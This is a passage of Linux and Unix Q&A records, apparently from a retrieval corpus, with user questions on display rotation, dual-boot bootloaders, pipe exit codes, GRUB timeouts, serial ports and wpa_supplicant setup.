disconnected (normal left inverted right x axis y axis) VIRTUAL1 disconnected (normal left inverted right x axis y axis) I looked into the `/var/log/syslog` and found the following within the debug output of the `think-rotate` script: Jan 6 20:20:26 Martin-X220 colord: device removed: xrandr-Samsung Electric Company-SyncMaster-H9XS113172 Jan 6 20:20:26 Martin-X220 colord: Device added: xrandr-Samsung Electric Company-SyncMaster-H9XS113172 How can I triage this issue? I got other DVI and VGA displays around, I got another Display Port on the ThinkPad itself. I assume that the problem is the interaction between something in KDE, Awesome WM (which reloads its config on every display change) and my `xrandr` calls. # Follow-up ## Without Awesome WM, plain KDE with KWin I just started KDE without Awesome WM. It did not only forget about the external display when I rotated, but it also caused severe compositing glitches. I found that `think-rotate` is called twice by the ACPI hook, so I am currently implementing a guard against that. Running it twice simultaneously might be the cause of the glitches. The forgetting about the display is caused when I call `think-rotate` manually, so that is not caused by running it twice. ## Without KDE, plain Awesome WM Now I am just with Awesome WM, no KDE started. There is no problem. I saw here that it is called twice and work on that guard. It is called twice, but runs only one now. Apparently, the issue does not persist here. Although I do not like to admit, but with the information I currently have, KDE seems to cause the issue. ### Update 2014-01-06 21:37+0100 Well, it seems like rotation works without problems with plain Awesome WM. When I put it onto the docking station, it does not see the external display right away. I have to power it off and call `xrandr` manually to get it working. ### Update 2014-01-21 21:53+0100 I tried another DVI display, and I did not have any problems with it. When I go back to my Samsung SyncMaster, I get the issue again. Awesome WM alone caused problems, KDE with Awesome WM causes problems as well. It is still broken! ### Update 2014-03-10 18:17+0100 The issue persists. I used a VGA cable to test it, and that did not appear to have the issue. My current workaround is to switch off the display, call `xrandr` and then turn it on again. Maybe Ubuntu 14.04 will fix that issue."} {"_id": "136580", "title": "Which device to install the bootloader should I choose?", "text": "I have an Acer Aspire E1 with Windows 8.1 installed from factory. I need to install in dualboot the Linux Mint without formatting the computer and safely. I kept the UEFI and deactivated the secureboot, and liberated 80GB from Windows. However, I am in doubt on one of the installation steps. Which device should I install the bootloader? The options are: * /dev/sda * /dev/sda1 * /dev/sda2 * /dev/sda3 * /dev/sda4 * /dev/sda5 In the table above, have the following: * /dev/sda1 | ntfs | 419mb total | 288MB used * /dev/sda2 | efi | 314mb total | 52mb used. * Windows is in / dev/sda4 * Free space (not inform the sda), is where I want to install Mint * /dev/sda5 | 18.533mb total | 15.586mb used * Free Space | 0mb total"} {"_id": "136583", "title": "Why would alsa sound pop, crackle and be generally too distorted to listen to?", "text": "I've been having a weird issue with Alsa recently. For some reason all sounds are really distorted and no matter what application I use, I won't get anything clear out of it. I've tried Tomahawk, Spotify, Youtube and local files played via VLC, and all of them output the same distorted noise. It's impossible to listen to music with all the popping and crackling. Also if I pause the music playing it'll lag behind and won't stop before seconds later. Youtube does surprisingly output the best results and I can actually hear what song it is, but it's still too bad for listening and would obviously not be a fix to just use that. I have a MSI Z97 MPower motherboard (which I believe uses Intel HDA for sound) and a i5 4670k. I use a headset, the Sennheiser PC350. No other sound devices are connected but the headset. The distro I use is Arch. What could cause an issue like this?"} {"_id": "136587", "title": "How can I grep for broken HTML tags?", "text": "I want to grep through all my HTML files and see if I have any bad tags there, example `
` , `
` and so on, that is the I want to see what tags are not closed in the HTML file. for htmlFile in `ls -f *.html ` ; do if `cat $htmlFile | grep -inE \"\\\"` ; then echo \"In file $htmlFile there are errors on the following lines: \" >> ~/Desktop/$1_errors.txt cat $htmlFile | grep -in \"
\"| cut -d \":\" -f1 >> ~/Desktop/$1_errors.txt echo \"----------------------------------------\" >> ~/Desktop/$1_errors.txt fi done But I get an error, I am suspect its my regex. ./script.sh: line 14: 10: cat checkout cl co copy changelist ci cleanup commit cp Mercurial, on the other hand, doesn't seem to have tab-completion, at least out of the box: $ hg c [nothing happens] Is Bash completion for Mercurial available at all? What's the simplest way to get it working? I'm on Ubuntu 11.04."} {"_id": "109853", "title": "Clear / erase a mistyped password in a terminal", "text": "One thing that annoys me using Linux's terminal is when I have to type a invisble password, like when you run ssh the terminal I was wondering if there's a way to clear/erase the invisible password without relying on backspace or pressing enter key to try again"} {"_id": "109852", "title": "Openbox menu.xml: keyboard accelerators possible?", "text": "I like the right-click menu of Openbox. I've customized things to bring it up by means of the keyboard as well: root-menu Now, I want to know if it's possible to have keyboard accelerators (as described here) so that, with reference to the image, I could, for instance, press `u` to _reconfigure_ Openbox. ![Openbox right-click menu](http://i.stack.imgur.com/CwQIb.png)"} {"_id": "30332", "title": "Replace one line with STDIN in a Makefile", "text": "One Makefile target is supposed to be in charge of: * grabbing the output of `$ perl Markdown.pl src/index.md` (markdown to html) * using that string to replace one line, something like `CONTENT` originating in the file src/template.html. There's no other line with that row in template.html. What's an elegant way to achieve this?"} {"_id": "109856", "title": "Is my SSD okay?:", "text": "`iostat -xk 5` shows this: 1.31 10.63 3.99 14.21 0.00 69.86 Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await svctm %util sda 2942.00 497.40 1755.00 414.60 19107.20 3695.20 21.02 86.19 41.18 0.40 86.96 sdb 62.40 519.00 137.40 73.00 2459.20 2372.00 45.92 1.04 4.95 2.03 42.72 avg-cpu: %user %nice %system %iowait %steal %idle 2.54 10.23 4.90 14.27 0.00 68.05 Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await svctm %util sda 8936.80 395.00 2752.80 4.00 48004.80 1596.00 35.98 3.90 1.41 0.30 83.70 sdb 393.40 491.00 238.80 76.00 4984.80 2268.00 46.08 4.65 14.79 1.52 48.00 What does `await 14.79` mean? Is the unit milliseconds, seconds or something else? What does `svctime` mean? Is the unit milliseconds, seconds or something else?"} {"_id": "76166", "title": "What does \"INFO: task XXX blocked for more than 120 seconds\" exactly mean on Linux?", "text": "I had this message in my kernel log : `INFO: task XXX blocked for more than 120 seconds`. I would like to know what it means technically: **under what conditions does the kernel display this message about a task?** For the record, my blocked task was `multipathd`, but I'm also interested in the general meaning of this error."} {"_id": "76165", "title": "Experiencing problems with KDE after an upgrade", "text": "After an upgrade of KDE I am experiencing problems. A lot of problems. 1. \"Konsole\" doesn't starts at all! (I have to switch to a console with ctrl+alt+Fx login with username, export DISPLAY=:0 and start \"Konsole\"). The worst is that the process start already \"zombie\" which is not very good! 2. It's not only konsole that I cannot launch. It is even dolphin and many more applications. 3. google-chrome starts but it takes eternity! Then when I try to download anything the download doesn't start! Internally google-chrome put the download on queue (it is not visible on \"Downloads\" page) but it never starts. 4. Application launcher menu takes ages to show up. Anyone have any clue on these problems? My distro is gentoo. If you need more details ask and I'll give. EDIT: i forgot to say that if i launch application with root privileges, everything work fine."} {"_id": "14270", "title": "Get exit status of process that's piped to another", "text": "I have two processes `foo` and `bar`, connected with a pipe: $ foo | bar `bar` always exits 0; I'm interested in the exit code of `foo`. Is there any way to get at it?"} {"_id": "96308", "title": "returncode of command in a pipline", "text": "The following script runs on Solaris using _/bin/ksh_ and on Linux using _/bin/sh_ cmd | tee -a cmd.log | tail exit $? The output of _cmd_ is saved in a file _cmd.log_ and the last lines are displayed on `stdout`. The purpose of `exit $?` was to exit the script with the return code of _cmd_. Of course this does not work because `$?` holds the return code of the last command in the pipeline which is `tail`. Workaround (I will omit all cleanup activities) : { cmd; echo $? > error.file; } | tee -a cmd.log | tail exit `cat error.file` But is there another way to get the returncode of _cmd_ and to avoid the creation of a file like _error.file_?"} {"_id": "73170", "title": "how to get exit status from the command before the last", "text": "I have solaris machine ( solaris 10 ) please Look on the following simple commands (haconf -makerw | grep -iq \"Cluster already writable\") # haconf -makerw VCS WARNING V-16-1-10364 Cluster already writable. haconf -makerw | grep -iq \"Cluster already writable\" # echo $? 0 I get exit status 0 from grep , and this is right ( because we get the exe status always the last command ) but my question is: how to get the exit status ( $? ) from the command **haconf -makerw** in place of grep? or what need to add in to my syntax in order to understand if haconf -makerw succeeded ? haconf -makerw | grep -iq \"Cluster already writable\" # echo $? ( will print the exe status from haconf -makerw )"} {"_id": "39837", "title": "Check for failure of piped command", "text": "> **Possible Duplicate:** > Get exit code of process that's piped to another If I pipe the output of one command into another, is there a way for me to check explicitly whether the first command failed? For example, if `prog` processes a file and outputs to STDOUT: prog file1 | cmp - file2 is there a way to check if `prog` explicitly failed or succeeded (by return code)? I want to avoid the use of temporary files, and don't want to rely on the output of the second command; so, for the example above, I want to avoid examining the output of `cmp` to determine if `prog` failed (if there is no affirmative answer to my question, I'll just fall back to doing precisely that)."} {"_id": "25898", "title": "How can I pipe output to another process, but retain the error state of the first process?", "text": "> **Possible Duplicate:** > Get exit code of process that's piped to another I am using the following command line (in a makefile) to pipe the verbose error messages from my compiler through a perl script that simplifies them into something human-readable: g++ -c source.cpp -o source.o 2>&1 | perl /bin/gSTLFilt.pl Unfortunately, this approach \"masks\" the error value returned by the `g++` command. make has no idea that the `g++` command has failed, because all it gets back is the error result from the `perl` command. Is there a way to pipe the output, and still retain the original error condition? In case it makes a difference: I am using GNU Make 3.81 and g++ (GCC) 3.4.5 (mingw-vista special r3) in an MSYS console running GNU bash, version 2.04.0(1)-release (i686-pc-msys) on Windows XP."} {"_id": "147223", "title": "Test execution output of a command before a pipe", "text": "I would like to test the execution of a php script that redirect its stdout and stderr to a file with `tee`. php /path/to/script --param 2>&1 | tee -a /path/to/log if ( test $? -ne 0 ); then exit 2 fi The last code tests the execution of the `tee -a` even if the php ocmmand fails. How can I exploit `$?` or something similar to test the php script not the whole line ?"} {"_id": "146071", "title": "Recover data from a BTRFS RAID5", "text": "I have a BTRFS RAID5 setup (no mdadm) with four disks (the fifth failed). Now I am trying to recover the files but as soon as I try to rsync the files over to another disk, the system hangs after copying the first file. The strange thing is the \"sending file list\" works as expected but then it locks up. I'm using Antergos (Arch Linux) with the most recent stable kernel. I also tried to rebuild the array: instant lockup. Tried to remove the missing device and rebuild: same result. Is there any way to recover the data?"} {"_id": "10251", "title": "How do I split a flac with a cue?", "text": "I've got a full album flac, and a cue file for it. How can I split this into a flac per track. I'm a KDE user, so I would prefer a KDE/QT way, I would like to see command line and other gui answer's as well, but they are not my preferred method."} {"_id": "107097", "title": "how to use & for sudo", "text": "I know if I put `&` at the end of application at the terminal, it will run in the background and terminal still can receive commands, for example: howchen@host:~ -> cutecom& [1] 17269 howchen@host:~ it can pop up `cutecom` application. However, I need run this application with root, I can NOT input as: howchen@host:~ -> su cutecom& if I never run some applications with `su` before, it will output like: howchen@host:~ -> su cutecom& [1] 17404 howchen@host:~ -> No passwd entry for user 'cutecom'"} {"_id": "119865", "title": "GRUB doesn't have the timeout anymore", "text": "I noticed this first when I removed the i386 kernel and left in place the amd64, so I installed the i386 kernel again, still doesn't work. Nothing explain why I need to select the boot option if I have the `GRUB_TIMEOUT` option set in the grub configuration file: \u279c ~ grep -v '#' /etc/default/grub GRUB_DEFAULT=0 GRUB_TIMEOUT=5 GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian` GRUB_CMDLINE_LINUX_DEFAULT=\"quiet\" GRUB_CMDLINE_LINUX=\"initrd=/install/initrd.gz\" grub.cfg \u279c ~ cat /boot/grub/grub.cfg # # DO NOT EDIT THIS FILE # # It is automatically generated by grub-mkconfig using templates # from /etc/grub.d and settings from /etc/default/grub # ### BEGIN /etc/grub.d/00_header ### if [ -s $prefix/grubenv ]; then set have_grubenv=true load_env fi set default=\"0\" if [ x\"${feature_menuentry_id}\" = xy ]; then menuentry_id_option=\"--id\" else menuentry_id_option=\"\" fi export menuentry_id_option if [ \"${prev_saved_entry}\" ]; then set saved_entry=\"${prev_saved_entry}\" save_env saved_entry set prev_saved_entry= save_env prev_saved_entry set boot_once=true fi function savedefault { if [ -z \"${boot_once}\" ]; then saved_entry=\"${chosen}\" save_env saved_entry fi } function load_video { if [ x$feature_all_video_module = xy ]; then insmod all_video else insmod efi_gop insmod efi_uga insmod ieee1275_fb insmod vbe insmod vga insmod video_bochs insmod video_cirrus fi } if [ x$feature_default_font_path = xy ] ; then font=unicode else insmod part_msdos insmod ext2 set root='hd1,msdos7' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos7 --hint-efi=hd0,msdos7 --hint-baremetal=ahci0,msdos7 --hint='hd1,msdos7' cead26d6-08f4-4894-ac78-a9a4ce59f773 else search --no-floppy --fs-uuid --set=root cead26d6-08f4-4894-ac78-a9a4ce59f773 fi font=\"/usr/share/grub/unicode.pf2\" fi if loadfont $font ; then set gfxmode=auto load_video insmod gfxterm set locale_dir=$prefix/locale set lang=en_US insmod gettext fi terminal_output gfxterm if [ \"${recordfail}\" = 1 ] ; then set timeout=-1 else set timeout=5 fi ### END /etc/grub.d/00_header ### ### BEGIN /etc/grub.d/05_debian_theme ### insmod part_msdos insmod ext2 set root='hd1,msdos8' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos8 --hint-efi=hd0,msdos8 --hint-baremetal=ahci0,msdos8 --hint='hd1,msdos8' 0cef2d59-21ca-4ba2-a9b2-0b9ef1f42589 else search --no-floppy --fs-uuid --set=root 0cef2d59-21ca-4ba2-a9b2-0b9ef1f42589 fi insmod png if background_image /braiam/.cache/gnome-control-center/backgrounds/14fb12e1345ca2dfd3807e7f7b1122b0d6015d9453ed5742de72b988a9cffded; then set color_normal=white/black set color_highlight=black/white else set menu_color_normal=cyan/blue set menu_color_highlight=white/blue fi ### END /etc/grub.d/05_debian_theme ### ### BEGIN /etc/grub.d/10_linux ### function gfxmode { set gfxpayload=\"${1}\" } set linux_gfx_mode= export linux_gfx_mode menuentry 'Debian GNU/Linux' --class debian --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-simple-cead26d6-08f4-4894-ac78-a9a4ce59f773' { load_video insmod gzio insmod part_msdos insmod ext2 set root='hd1,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos5 --hint-efi=hd0,msdos5 --hint-baremetal=ahci0,msdos5 --hint='hd1,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi echo 'Loading Linux 3.13-1-amd64 ...' linux /vmlinuz-3.13-1-amd64 root=UUID=cead26d6-08f4-4894-ac78-a9a4ce59f773 ro initrd=/install/initrd.gz quiet echo 'Loading initial ramdisk ...' initrd /initrd.img-3.13-1-amd64 } submenu 'Advanced options for Debian GNU/Linux' $menuentry_id_option 'gnulinux-advanced-cead26d6-08f4-4894-ac78-a9a4ce59f773' { menuentry 'Debian GNU/Linux, with Linux 3.13-1-amd64' --class debian --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.13-1-amd64-advanced-cead26d6-08f4-4894-ac78-a9a4ce59f773' { load_video insmod gzio insmod part_msdos insmod ext2 set root='hd1,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos5 --hint-efi=hd0,msdos5 --hint-baremetal=ahci0,msdos5 --hint='hd1,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi echo 'Loading Linux 3.13-1-amd64 ...' linux /vmlinuz-3.13-1-amd64 root=UUID=cead26d6-08f4-4894-ac78-a9a4ce59f773 ro initrd=/install/initrd.gz quiet echo 'Loading initial ramdisk ...' initrd /initrd.img-3.13-1-amd64 } menuentry 'Debian GNU/Linux, with Linux 3.13-1-amd64 (recovery mode)' --class debian --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.13-1-amd64-recovery-cead26d6-08f4-4894-ac78-a9a4ce59f773' { load_video insmod gzio insmod part_msdos insmod ext2 set root='hd1,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos5 --hint-efi=hd0,msdos5 --hint-baremetal=ahci0,msdos5 --hint='hd1,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi echo 'Loading Linux 3.13-1-amd64 ...' linux /vmlinuz-3.13-1-amd64 root=UUID=cead26d6-08f4-4894-ac78-a9a4ce59f773 ro single initrd=/install/initrd.gz echo 'Loading initial ramdisk ...' initrd /initrd.img-3.13-1-amd64 } menuentry 'Debian GNU/Linux, with Linux 3.12-1-amd64' --class debian --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.12-1-amd64-advanced-cead26d6-08f4-4894-ac78-a9a4ce59f773' { load_video insmod gzio insmod part_msdos insmod ext2 set root='hd1,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos5 --hint-efi=hd0,msdos5 --hint-baremetal=ahci0,msdos5 --hint='hd1,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi echo 'Loading Linux 3.12-1-amd64 ...' linux /vmlinuz-3.12-1-amd64 root=UUID=cead26d6-08f4-4894-ac78-a9a4ce59f773 ro initrd=/install/initrd.gz quiet echo 'Loading initial ramdisk ...' initrd /initrd.img-3.12-1-amd64 } menuentry 'Debian GNU/Linux, with Linux 3.12-1-amd64 (recovery mode)' --class debian --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.12-1-amd64-recovery-cead26d6-08f4-4894-ac78-a9a4ce59f773' { load_video insmod gzio insmod part_msdos insmod ext2 set root='hd1,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos5 --hint-efi=hd0,msdos5 --hint-baremetal=ahci0,msdos5 --hint='hd1,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi echo 'Loading Linux 3.12-1-amd64 ...' linux /vmlinuz-3.12-1-amd64 root=UUID=cead26d6-08f4-4894-ac78-a9a4ce59f773 ro single initrd=/install/initrd.gz echo 'Loading initial ramdisk ...' initrd /initrd.img-3.12-1-amd64 } } ### END /etc/grub.d/10_linux ### ### BEGIN /etc/grub.d/20_linux_xen ### ### END /etc/grub.d/20_linux_xen ### ### BEGIN /etc/grub.d/20_memtest86+ ### menuentry \"Memory test (memtest86+)\" { insmod part_msdos insmod ext2 set root='hd1,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos5 --hint-efi=hd0,msdos5 --hint-baremetal=ahci0,msdos5 --hint='hd1,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi linux16 /memtest86+.bin } menuentry \"Memory test (memtest86+, serial console 115200)\" { insmod part_msdos insmod ext2 set root='hd1,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos5 --hint-efi=hd0,msdos5 --hint-baremetal=ahci0,msdos5 --hint='hd1,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi linux16 /memtest86+.bin console=ttyS0,115200n8 } menuentry \"Memory test (memtest86+, experimental multiboot)\" { insmod part_msdos insmod ext2 set root='hd1,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos5 --hint-efi=hd0,msdos5 --hint-baremetal=ahci0,msdos5 --hint='hd1,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi multiboot /memtest86+_multiboot.bin } menuentry \"Memory test (memtest86+, serial console 115200, experimental multiboot)\" { insmod part_msdos insmod ext2 set root='hd1,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos5 --hint-efi=hd0,msdos5 --hint-baremetal=ahci0,msdos5 --hint='hd1,msdos5' 279a18da-130b-46dd-8b54-84da48eb445f else search --no-floppy --fs-uuid --set=root 279a18da-130b-46dd-8b54-84da48eb445f fi multiboot /memtest86+_multiboot.bin console=ttyS0,115200n8 } ### END /etc/grub.d/20_memtest86+ ### ### BEGIN /etc/grub.d/30_os-prober ### menuentry 'Windows 7 (loader) (on /dev/sda1)' --class windows --class os $menuentry_id_option 'osprober-chain-AA64B45A64B42AC9' { insmod part_msdos insmod ntfs set root='hd1,msdos1' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1 --hint='hd1,msdos1' AA64B45A64B42AC9 else search --no-floppy --fs-uuid --set=root AA64B45A64B42AC9 fi chainloader +1 } ### END /etc/grub.d/30_os-prober ### ### BEGIN /etc/grub.d/30_uefi-firmware ### ### END /etc/grub.d/30_uefi-firmware ### ### BEGIN /etc/grub.d/40_custom ### # This file provides an easy way to add custom menu entries. Simply type the # menu entries you want to add after this comment. Be careful not to change # the 'exec tail' line above. ### END /etc/grub.d/40_custom ### ### BEGIN /etc/grub.d/41_custom ### if [ -f ${config_directory}/custom.cfg ]; then source ${config_directory}/custom.cfg elif [ -z \"${config_directory}\" -a -f $prefix/custom.cfg ]; then source $prefix/custom.cfg; fi ### END /etc/grub.d/41_custom ### I tried purging grub, removing the grub.cfg file, changing the `GRUB_DEFAULT=0` and nothing improved."} {"_id": "102108", "title": "Test if number from range <0,infinity)", "text": "I have a problem If [[ * ]] then continue else exit 1 fi I want to test that the argument to my switch (for example `-d 3`) is a valid positive decimal integer number (a sequence of one or more of any of the ASCII characters from `0` to `9`). After `-d` there can be only be a number `[0,infinity)`. Everything else is bad. I do not know what to put instead of `*`. Can you help me ? Argument after `-d` is at `$2` position."} {"_id": "147730", "title": "Why are there so many loopback addresses?", "text": "From my understanding, all IP addresses of the form 127.x.y.z are loopback addresses. Now that seems to be quite a waste to me; indeed, already more than one address seems like a waste. Is there any use in having so many loopback addresses?"} {"_id": "147731", "title": "Delete all but largest file in multiple directories", "text": "I have multiple subdirectories in `/home/usr/ProjZ/programs/` that each contain multiple (or one) `.js` files. What I need to do is delete all but the largest `.js` file, if the subdirectory contains multiple files, or do nothing if the subdirectory only contains one `.js` file. How can I go about doing this?"} {"_id": "15167", "title": "How can I limit wine's permissions?", "text": "I don't want wine to: * have access to the network (extra: separately defined access control per program that uses wine to start) * have access to the main users files (run wine as different user??) How can I do this? Are there any solutions? (Using Ubuntu 11.04)"} {"_id": "72395", "title": "Centos 5.3 - Need to use 4 com ports without resource conflicts (system has 6 com ports)", "text": "we hope to use 4 serial ports together on Centos 5.3 (could not upgrade to newer version due to application limitation). COM1 and COM2 works perfectly. We use echo to output to customer display to test: echo \"testing 123\" > /dev/ttyS0 => OK! However, we could not get COM3, COM4 to work. Pls see below for screen output / configurations: [root@station ~]# dmesg | grep tty serial8250: ttyS0 at I/O 0x3f8 (irq = 4) is a 16550A serial8250: ttyS1 at I/O 0x2f8 (irq = 3) is a 16550A serial8250: ttyS2 at I/O 0x3e8 (irq = 7) is a 16550A serial8250: ttyS3 at I/O 0x2e8 (irq = 6) is a 16550A 00:09: ttyS0 at I/O 0x3f8 (irq = 4) is a 16550A 00:0a: ttyS1 at I/O 0x2f8 (irq = 3) is a 16550A 00:0b: ttyS2 at I/O 0x3e8 (irq = 7) is a 16550A 00:0c: ttyS3 at I/O 0x2e8 (irq = 6) is a 16550A 00:0d: ttyS4 at I/O 0x2e0 (irq = 10) is a 16550A 00:0e: ttyS5 at I/O 0x2f0 (irq = 11) is a 16550A Vim /proc/tty/driver/serial serinfo:1.0 driver revision: 0: uart:16550A port:000003F8 irq:4 tx:16380 rx:0 RTS|DTR 1: uart:16550A port:000002F8 irq:3 tx:0 rx:0 RTS|CTS|DTR|DSR 2: uart:16550A port:000003E8 irq:7 tx:16 rx:0 RTS|CTS|DTR|DSR 3: uart:16550A port:000002E8 irq:6 tx:0 rx:0 RTS|CTS|DTR|DSR 4: uart:16550A port:000002E0 irq:10 tx:0 rx:0 5: uart:16550A port:000002F0 irq:11 tx:0 rx:0 6: uart:unknown port:00000000 irq:0 7: uart:unknown port:00000000 irq:0 Vim /etc/rc.local setserial /dev/ttyS2 port 0x3e8 UART 16550A irq 7 setserial /dev/ttyS3 port 0x2e8 UART 16550A irq 6 However, when we tried Ubuntu 12.04 => it works (so we know it's not hardware problem) ttyS0: 3f8 (irq = 4) ttyS1: 2f8 (irq = 3) ttyS2: 3e8 (irq = 4) <= ubuntu auto set it to irq 4 ttyS3: 2e8 (irq = 3) <= ubuntu auto set it to irq 3 Centos 5.3 (cannot get output on COM3, COM4) ttyS0: 3f8 (irq = 4) ttyS1: 2f8 (irq = 3) ttyS2: 3e8 (irq = 7) ttyS3: 2e8 (irq = 6) I realized that this is bit related to a prev post setserial /dev/ttyS4: Cannot set serial info [Q1] If COM1(ttyS0) and COM2(ttyS1) are already using irq4 and irq3 respectively, is it okay for COM3 and COM4 using irq4 and irq3 again? [Q2] We could not change the irq using SetSerial to another irq from irq1- irq15. However, when we set to irq0, we were able to get the device to work. However, we were advised not to use irq0 because it should be reserved for system time."} {"_id": "72397", "title": "Reinstall package in CentOS", "text": "I am trying to install a perl package and getting the following dependencies error: [user@localhost Downloads]$ rpm -Uvh ImageMagick-6.8.4-9.i386.rpm error: Failed dependencies: libltdl.so.3 is needed by ImageMagick-6.8.4-4.i386 In order to solve it, I have tried to install the missing package but it seems that it already exists: [Evgeny@localhost Downloads]$ sudo yum install libltdl.so.3 ... No package libltdl.so.3 available. Then I have tried to use `yum` with `reinstall` option but I got another error: [Evgeny@localhost Downloads]$ sudo yum reinstall libltdl.so.3 ... No Match for argument: libltdl.so.3 Error: Nothing to do What's the problem here? Should I completely uninstall current `libltdl.so.3` package and the install it form scratch? Or maybe there is a different issue?"} {"_id": "72390", "title": "How to manually install a cpp library", "text": "I want to install the opengl sdk http://glsdk.sourceforge.net/docs/html/pg_build.html . I successfully built it but it has no install script. I am wondering where I have to put them in order for eclipse to find them with `-lname`. It seems that I can install header only libraries by just putting them in `/usr/include`. But I have no idea where I have to put `name.a` files. I installed GLFW with pacman. I can find it in `/usr/include/GL/glfw.h` but I have no idea where the real library is located. I hope you can clear things up."} {"_id": "72391", "title": "How to make my debian to work as http/html proxy?", "text": "I use debian on faculty server via putty having its public Ip adress. I have sudo. I wonder how to make it work as Http/html proxy for access to \"web of science\" from my home windows browser. I wonder where to get instructions on how to make my debian work as http proxy (if possible sequred)?"} {"_id": "103701", "title": "Configure wpa_supplicant.conf to Hidden SSID using WPA2 / PEAP / MS-CHAPv2", "text": "Here the specifics, I have also the CA certificate chain installed on the machine 1 - hidden SSID (non-broadcast) 2 - The authentication protocol used is PEAP, which is a username and password protocol. 3 - The username and password are passed between the client and authentication server (RADIUS) over an SSL encrypted session. 4 - 3-tier CA environment. Root (offline), intermediate (offline), and 2 issuing CA certificates (online) The actual SSL certificates on the authentication servers (RADIUS) will come from on of the 2 issuing CAs. That enables a trusted SSL session to be established to pass the username and password. 5 - MS-CHAPv2 Support My wpa_suplicant.conf file: ctrl_interface=/var/run/wpa_supplicant ctrl_interface_group=wheel ap_scan=1 # This is to make sure that we get the hidden SSID update_config=1 network={ priority=1 mode=0 scan_ssid=1 ssid=\"FILTERED\" proto=RSN # WPA2/IEEE 802.11i key_mgmt=WPA-EAP # WPA using EAP authentication eap=PEAP group=CCMP TKIP # CCMP AES in Counter mode with CBC-MAC pairwise=CCMP TKIP # TKIP = Temporal Key Integrity Protocol #phase1=\"peaplabel=1\" phase2=\"auth=MSCHAPV2\" identity=\"FILTERED\" # Identity string for EAP password=\"FILTERED\" ca_cert=\"/etc/cert/CACertChain/CA1CertChain.pem\" } How can I determine what failed? bssid=34:XX:XX:XX:XX:02 ssid=FILTERED id=0 pairwise_cipher=CCMP group_cipher=TKIP key_mgmt=WPA2/IEEE 802.1X/EAP wpa_state=ASSOCIATED ip_address=0.0.0.0 Supplicant PAE state=AUTHENTICATING suppPortStatus=Unauthorized EAP state=IDLE > status bssid=34:XX:XX:XX:XX:02 ssid=pmwproc id=0 pairwise_cipher=CCMP group_cipher=TKIP key_mgmt=WPA2/IEEE 802.1X/EAP wpa_state=ASSOCIATED ip_address=0.0.0.0 Supplicant PAE state=CONNECTING suppPortStatus=Unauthorized EAP state=IDLE > status bssid=34:XX:XX:XX:XX:02 ssid=FILTERED id=0 pairwise_cipher=CCMP group_cipher=TKIP key_mgmt=WPA2/IEEE 802.1X/EAP wpa_state=ASSOCIATED ip_address=0.0.0.0 Supplicant PAE state=CONNECTING suppPortStatus=Unauthorized EAP state=IDLE > <2>CTRL-EVENT-EAP-FAILURE EAP authentication failed <1>Setting authentication timeout: 2 sec 0 usec <2>Authentication with 34:XX:XX:XX:XX:02 timed out. <1>Setting scan request: 0 sec 0 usec <2>CTRL-EVENT-DISCONNECTED - Disconnect event - remove keys"} {"_id": "72393", "title": "Mounting all partitions on hard disk automatically on Linux Mint", "text": "**Issue** I have a Linux Mint installation. Every time that I boot, I need to manually mount the two partitions on my computer(`New volume D` and `Drive C`). If I don't do this, these drives don't show up anywhere. I want to know if there is some way to automate this process. **Goal** Automatically mounting all the partitions on the hard disk each time I boot. **Specs** Linux Mint 14 dual boot with Windows XP SP3"} {"_id": "52464", "title": "luxadm disp equivalent for Red Hat?", "text": "Is there an equivalent to: luxadm disp *disk* for Red Hat? I need to check that all the device address to the SAN are ONLINE for a certain disk."} {"_id": "72399", "title": "Dm-Crypt system encryption with different keys per user", "text": "I have found the following example configuration for a system encryption: > Example 